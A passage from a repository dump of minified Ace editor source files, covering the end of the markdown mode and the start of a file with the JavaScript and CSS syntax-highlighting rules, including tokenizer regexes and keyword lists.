c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/markdown_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\",\"ace/mode/html_highlight_rules\",\"ace/mode/css_highlight_rules\"],function(e,t,n){\"use strict\";function c(e,t){return{token:\"support.function\",regex:\"^\\\\s*```\"+e+\"\\\\s*$\",push:t+\"start\"}}var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./css_highlight_rules\").CssHighlightRules,l=function(e){return\"(?:[^\"+i.escapeRegExp(e)+\"\\\\\\\\]|\\\\\\\\.)*\"},h=function(){a.call(this),this.$rules.start.unshift({token:\"empty_line\",regex:\"^$\",next:\"allowBlock\"},{token:\"markup.heading.1\",regex:\"^=+(?=\\\\s*$)\"},{token:\"markup.heading.2\",regex:\"^\\\\-+(?=\\\\s*$)\"},{token:function(e){return\"markup.heading.\"+e.length},regex:/^#{1,6}(?=\\s*[^ #]|\\s+#.)/,next:\"header\"},c(\"(?:javascript|js)\",\"jscode-\"),c(\"xml\",\"xmlcode-\"),c(\"html\",\"htmlcode-\"),c(\"css\",\"csscode-\"),{token:\"support.function\",regex:\"^\\\\s*```\\\\s*\\\\S*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{token:\"constant\",regex:\"^ {0,2}(?:(?: ?\\\\* ?){3,}|(?: ?\\\\- ?){3,}|(?: ?\\\\_ ?){3,})\\\\s*$\",next:\"allowBlock\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\"}),this.addRules({basic:[{token:\"constant.language.escape\",regex:/\\\\[\\\\`*_{}\\[\\]()#+\\-.!]/},{token:\"support.function\",regex:\"(`+)(.*?[^`])(\\\\1)\"},{token:[\"text\",\"constant\",\"text\",\"url\",\"string\",\"text\"],regex:'^([ ]{0,3}\\\\[)([^\\\\]]+)(\\\\]:\\\\s*)([^ ]+)(\\\\s*(?:[\"][^\"]+[\"])?(\\\\s*))$'},{token:[\"text\",\"string\",\"text\",\"constant\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]s*\\\\[)(\"+l(\"]\")+\")(\\\\])\"},{token:[\"text\",\"string\",\"text\",\"markup.underline\",\"string\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]\\\\()\"+'((?:[^\\\\)\\\\s\\\\\\\\]|\\\\\\\\.|\\\\s(?=[^\"]))*)'+'(\\\\s*\"'+l('\"')+'\"\\\\s*)?'+\"(\\\\))\"},{token:\"string.strong\",regex:\"([*]{2}|[_]{2}(?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:\"string.emphasis\",regex:\"([*]|[_](?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:[\"text\",\"url\",\"text\"],regex:\"(<)((?:https?|ftp|dict):[^'\\\">\\\\s]+|(?:mailto:)?[-.\\\\w]+\\\\@[-a-z0-9]+(?:\\\\.[-a-z0-9]+)*\\\\.[a-z]+)(>)\"}],allowBlock:[{token:\"support.function\",regex:\"^ {4}.+\",next:\"allowBlock\"},{token:\"empty_line\",regex:\"^$\",next:\"allowBlock\"},{token:\"empty\",regex:\"\",next:\"start\"}],header:[{regex:\"$\",next:\"start\"},{include:\"basic\"},{defaultToken:\"heading\"}],\"listblock-start\":[{token:\"support.variable\",regex:/(?:\\[[ x]\\])?/,next:\"listblock\"}],listblock:[{token:\"empty_line\",regex:\"^$\",next:\"start\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\",noEscape:!0},{token:\"support.function\",regex:\"^\\\\s*```\\\\s*[a-zA-Z]*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{defaultToken:\"list\"}],blockquote:[{token:\"empty_line\",regex:\"^\\\\s*$\",next:\"start\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{include:\"basic\",noEscape:!0},{defaultToken:\"string.blockquote\"}],githubblock:[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"start\"},{token:\"support.function\",regex:\".+\"}]}),this.embedRules(o,\"jscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(a,\"htmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(f,\"csscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(u,\"xmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.normalizeRules()};r.inherits(h,s),t.MarkdownHighlightRules=h}),define(\"ace/mode/folding/markdown\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.foldingStartMarker=/^(?:[=-]+\\s*$|#{1,6} |`{3})/,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);return this.foldingStartMarker.test(r)?r[0]==\"`\"?e.bgTokenizer.getState(n)==\"start\"?\"end\":\"start\":\"start\":\"\"},this.getFoldWidgetRange=function(e,t,n){function l(t){return f=e.getTokens(t)[0],f&&f.type.lastIndexOf(c,0)===0}function h(){var e=f.value[0];return e==\"=\"?6:e==\"-\"?5:7-f.value.search(/[^#]/)}var r=e.getLine(n),i=r.length,o=e.getLength(),u=n,a=n;if(!r.match(this.foldingStartMarker))return;if(r[0]==\"`\"){if(e.bgTokenizer.getState(n)!==\"start\"){while(++n<o){r=e.getLine(n);if(r[0]==\"`\"&r.substring(0,3)==\"```\")break}return new s(u,i,n,0)}while(n-->0){r=e.getLine(n);if(r[0]==\"`\"&r.substring(0,3)==\"```\")break}return new s(n,r.length,u,0)}var f,c=\"markup.heading\";if(l(n)){var p=h();while(++n<o){if(!l(n))continue;var d=h();if(d>=p)break}a=n-(!f||[\"=\",\"-\"].indexOf(f.value[0])==-1?1:2);if(a>u)while(a>u&&/^\\s*$/.test(e.getLine(a)))a--;if(a>u){var v=e.getLine(a).length;return new s(u,i,a,v)}}}}.call(o.prototype)}),define(\"ace/mode/markdown\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/xml\",\"ace/mode/html\",\"ace/mode/markdown_highlight_rules\",\"ace/mode/folding/markdown\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript\").Mode,o=e(\"./xml\").Mode,u=e(\"./html\").Mode,a=e(\"./markdown_highlight_rules\").MarkdownHighlightRules,f=e(\"./folding/markdown\").FoldMode,l=function(){this.HighlightRules=a,this.createModeDelegates({\"js-\":s,\"xml-\":o,\"html-\":u}),this.foldingRules=new f};r.inherits(l,i),function(){this.type=\"text\",this.blockComment={start:\"<!--\",end:\"-->\"},this.getNextLineIndent=function(e,t,n){if(e==\"listblock\"){var r=/^(\\s*)(?:([-+*])|(\\d+)\\.)(\\s+)/.exec(t);if(!r)return\"\";var i=r[2];return i||(i=parseInt(r[3],10)+1+\".\"),r[1]+i+r[4]}return this.$getIndent(t)},this.$id=\"ace/mode/markdown\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-mask.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-s